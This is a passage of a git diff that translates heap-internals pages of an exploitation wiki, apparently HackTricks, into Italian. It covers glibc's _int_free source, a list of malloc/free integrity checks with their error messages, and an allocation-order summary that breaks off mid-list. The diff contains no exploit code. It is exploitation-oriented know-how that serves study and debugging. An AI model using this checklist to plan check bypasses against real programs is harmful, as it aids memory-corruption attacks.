## \_int_free ### \_int_free start -It starts with some checks making sure: +Inizia con alcuni controlli per assicurarsi che: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- il **puntatore** sia **allineato,** o attiva l'errore `free(): invalid pointer` +- la **dimensione** non sia inferiore al minimo e che la **dimensione** sia anche **allineata** o attiva l'errore: `free(): invalid size`
_int_free start - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +Prima cercherà di allocare questo chunk nel tcache correlato. Tuttavia, vengono eseguiti alcuni controlli precedentemente. Ciclerà attraverso tutti i chunk del tcache nello stesso indice del chunk liberato e: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- Se ci sono più voci di `mp_.tcache_count`: `free(): too many chunks detected in tcache` +- Se l'entry non è allineata: free(): `unaligned chunk detected in tcache 2` +- se il chunk liberato era già stato liberato ed è presente come chunk nel tcache: `free(): double free detected in tcache 2` -If all goes well, the chunk is added to the tcache and the functions returns. +Se tutto va bene, il chunk viene aggiunto al tcache e la funzione restituisce.
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
### \_int_free fast bin -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +Inizia controllando che la dimensione sia adatta per il fast bin e verifica se è possibile impostarla vicino al top chunk. -Then, add the freed chunk at the top of the fast bin while performing some checks: +Quindi, aggiungi il chunk liberato in cima al fast bin eseguendo alcuni controlli: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- Se la dimensione del chunk è invalida (troppo grande o piccola) attiva: `free(): invalid next size (fast)` +- Se il chunk aggiunto era già il top del fast bin: `double free or corruption (fasttop)` +- Se la dimensione del chunk in cima ha una dimensione diversa rispetto al chunk che stiamo aggiungendo: `invalid fastbin entry (free)`
_int_free Fast Bin - ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +Se il chunk non è stato ancora allocato in nessun bin, chiama `_int_free_merge_chunk`
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +Questa funzione tenterà di unire il chunk P di SIZE byte con i suoi vicini. Metti il chunk risultante nella lista dei bin non ordinati. -Some checks are performed: +Vengono eseguiti alcuni controlli: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- Se il chunk è il top chunk: `double free or corruption (top)` +- Se il chunk successivo è al di fuori dei confini dell'arena: `double free or corruption (out)` +- Se il chunk non è contrassegnato come utilizzato (nel `prev_inuse` del chunk seguente): `double free or corruption (!prev)` +- Se il chunk successivo ha una dimensione troppo piccola o troppo grande: `free(): invalid next size (normal)` +- se il chunk precedente non è in uso, tenterà di consolidare. Ma, se il prev_size differisce dalla dimensione indicata nel chunk precedente: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..dc66c5dbf 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -1,163 +1,163 @@ -# Heap Functions Security Checks +# Controlli di Sicurezza delle Funzioni Heap {{#include ../../../banners/hacktricks-training.md}} ## unlink -For more info check: +Per ulteriori informazioni controlla: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +Questo è un riepilogo dei controlli effettuati: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- Controlla se la dimensione indicata del chunk è la stessa del `prev_size` indicato nel chunk successivo +- Messaggio di errore: `corrupted size vs. prev_size` +- Controlla anche che `P->fd->bk == P` e `P->bk->fw == P` +- Messaggio di errore: `corrupted double-linked list` +- Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` +- Messaggio di errore: `corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +Per ulteriori informazioni controlla: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: `malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **Controlli durante la ricerca nel fast bin:** +- Se il chunk è disallineato: +- Messaggio di errore: `malloc(): unaligned fastbin chunk detected 2` +- Se il chunk successivo è disallineato: +- Messaggio di errore: `malloc(): unaligned fastbin chunk detected` +- Se il chunk restituito ha una dimensione che non è corretta a causa del suo indice nel fast bin: +- Messaggio di errore: `malloc(): memory corruption (fast)` +- Se qualsiasi chunk utilizzato per riempire il tcache è disallineato: +- Messaggio di errore: `malloc(): unaligned fastbin chunk detected 3` +- **Controlli durante la ricerca nel small bin:** +- Se `victim->bk->fd != victim`: +- Messaggio di errore: `malloc(): smallbin double linked list corrupted` +- **Controlli durante la consolidazione** effettuati per ogni chunk del fast bin: +- Se il chunk è disallineato attiva: +- Messaggio di errore: `malloc_consolidate(): unaligned fastbin chunk detected` +- Se il chunk ha una dimensione diversa da quella che dovrebbe avere a causa dell'indice in cui si trova: +- Messaggio di errore: `malloc_consolidate(): invalid chunk size` +- Se il chunk precedente non è in uso e il chunk precedente ha una dimensione diversa da quella indicata da prev_chunk: +- Messaggio di errore: `corrupted size vs. prev_size in fastbins` +- **Controlli durante la ricerca nel bin non ordinato**: +- Se la dimensione del chunk è strana (troppo piccola o troppo grande): +- Messaggio di errore: `malloc(): invalid size (unsorted)` +- Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande): +- Messaggio di errore: `malloc(): invalid next size (unsorted)` +- Se la dimensione precedente indicata dal chunk successivo differisce dalla dimensione del chunk: +- Messaggio di errore: `malloc(): mismatching next->prev_size (unsorted)` +- Se non `victim->bck->fd == victim` o non `victim->fd == av (arena)`: +- Messaggio di errore: `malloc(): unsorted double linked list corrupted` +- Poiché stiamo sempre controllando l'ultimo, il suo fd dovrebbe sempre puntare alla struttura arena. +- Se il chunk successivo non indica che il precedente è in uso: +- Messaggio di errore: `malloc(): invalid next->prev_inuse (unsorted)` +- Se `fwd->bk_nextsize->fd_nextsize != fwd`: +- Messaggio di errore: `malloc(): largebin double linked list corrupted (nextsize)` +- Se `fwd->bk->fd != fwd`: +- Messaggio di errore: `malloc(): largebin double linked list corrupted (bk)` +- **Controlli durante la ricerca nel large bin (per indice):** +- `bck->fd-> bk != bck`: +- Messaggio di errore: `malloc(): corrupted unsorted chunks` +- **Controlli durante la ricerca nel large bin (prossimo più grande):** +- `bck->fd-> bk != bck`: +- Messaggio di errore: `malloc(): corrupted unsorted chunks2` +- **Controlli durante l'uso del Top chunk:** +- `chunksize(av->top) > av->system_mem`: +- Messaggio di errore: `malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **Controlli in `tcache_get_n`:** +- Se il chunk è disallineato: +- Messaggio di errore: `malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **Controlli in `tcache_thread_shutdown`:** +- Se il chunk è disallineato: +- Messaggio di errore: `tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **Controlli in `__libc_realloc`:** +- Se il puntatore vecchio è disallineato o la dimensione era errata: +- Messaggio di errore: `realloc(): invalid pointer` ## `_int_free` -For more info check: +Per ulteriori informazioni controlla: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **Controlli all'inizio di `_int_free`:** +- Il puntatore è allineato: +- Messaggio di errore: `free(): invalid pointer` +- Dimensione maggiore di `MINSIZE` e dimensione anche allineata: +- Messaggio di errore: `free(): invalid size` +- **Controlli in `_int_free` tcache:** +- Se ci sono più voci di `mp_.tcache_count`: +- Messaggio di errore: `free(): too many chunks detected in tcache` +- Se l'entry non è allineata: +- Messaggio di errore: `free(): unaligned chunk detected in tcache 2` +- Se il chunk liberato era già stato liberato ed è presente come chunk nel tcache: +- Messaggio di errore: `free(): double free detected in tcache 2` +- **Controlli in `_int_free` fast bin:** +- Se la dimensione del chunk è invalida (troppo grande o piccola) attiva: +- Messaggio di errore: `free(): invalid next size (fast)` +- Se il chunk aggiunto era già il top del fast bin: +- Messaggio di errore: `double free or corruption (fasttop)` +- Se la dimensione del chunk in cima ha una dimensione diversa da quella del chunk che stiamo aggiungendo: +- Messaggio di errore: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **Controlli in `_int_free_merge_chunk`:** +- Se il chunk è il top chunk: +- Messaggio di errore: `double free or corruption (top)` +- Se il chunk successivo è al di fuori dei confini dell'arena: +- Messaggio di errore: `double free or corruption (out)` +- Se il chunk non è contrassegnato come utilizzato (nel prev_inuse del chunk successivo): +- Messaggio di errore: `double free or corruption (!prev)` +- Se il chunk successivo ha una dimensione troppo piccola o troppo grande: +- Messaggio di errore: `free(): invalid next size (normal)` +- Se il chunk precedente non è in uso, cercherà di consolidare. Ma, se il `prev_size` differisce dalla dimensione indicata nel chunk precedente: +- Messaggio di errore: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **Controlli in `_int_free_create_chunk`:** +- Aggiungendo un chunk nel bin non ordinato, controlla se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +- Messaggio di errore: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **Controlli in `do_check_malloc_state`:** +- Se il fast bin chunk è disallineato: +- Messaggio di errore: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **Controlli in `malloc_consolidate`:** +- Se il fast bin chunk è disallineato: +- Messaggio di errore: `malloc_consolidate(): unaligned fastbin chunk detected` +- Se la dimensione del fast bin chunk è errata: +- Messaggio di errore: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **Controlli in `_int_realloc`:** +- La dimensione è troppo grande o troppo piccola: +- Messaggio di errore: `realloc(): invalid old size` +- La dimensione del chunk successivo è troppo grande o troppo piccola: +- Messaggio di errore: `realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..356cfe9b7 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -2,37 +2,36 @@ {{#include ../../../banners/hacktricks-training.md}} -## Allocation Order Summary +## Riepilogo dell'Ordine di Allocazione -(No checks are explained in this summary and some case have been omitted for brevity) +(Nessun controllo è spiegato in questo riepilogo e alcuni casi sono stati omessi per brevità) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc` cerca di ottenere un chunk dal tcache, se non riesce chiama `_int_malloc` 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. Cerca di generare l'arena se non ce n'è una +2. Se c'è un chunk di fast bin della dimensione corretta, usalo +1. Riempie il tcache con altri chunk veloci +3. Se c'è un chunk di small bin della dimensione corretta, usalo +1. Riempie il tcache con altri chunk di quella dimensione +4. Se la dimensione richiesta non è per small bins, consolida il fast bin in unsorted bin +5. Controlla l'unsorted bin, usa il primo chunk con spazio sufficiente +1. Se il chunk trovato è più grande, dividilo per restituire una parte e aggiungi il resto all'unsorted bin +2. Se un chunk è della stessa dimensione di quella richiesta, usalo per riempire il tcache invece di restituirlo (fino a quando il tcache è pieno, poi restituisci il successivo) +3. Per ogni chunk di dimensione più piccola controllato, mettilo nel suo rispettivo small o large bin +6. Controlla il large bin nell'indice della dimensione richiesta +1. Inizia a cercare dal primo chunk che è più grande della dimensione richiesta, se 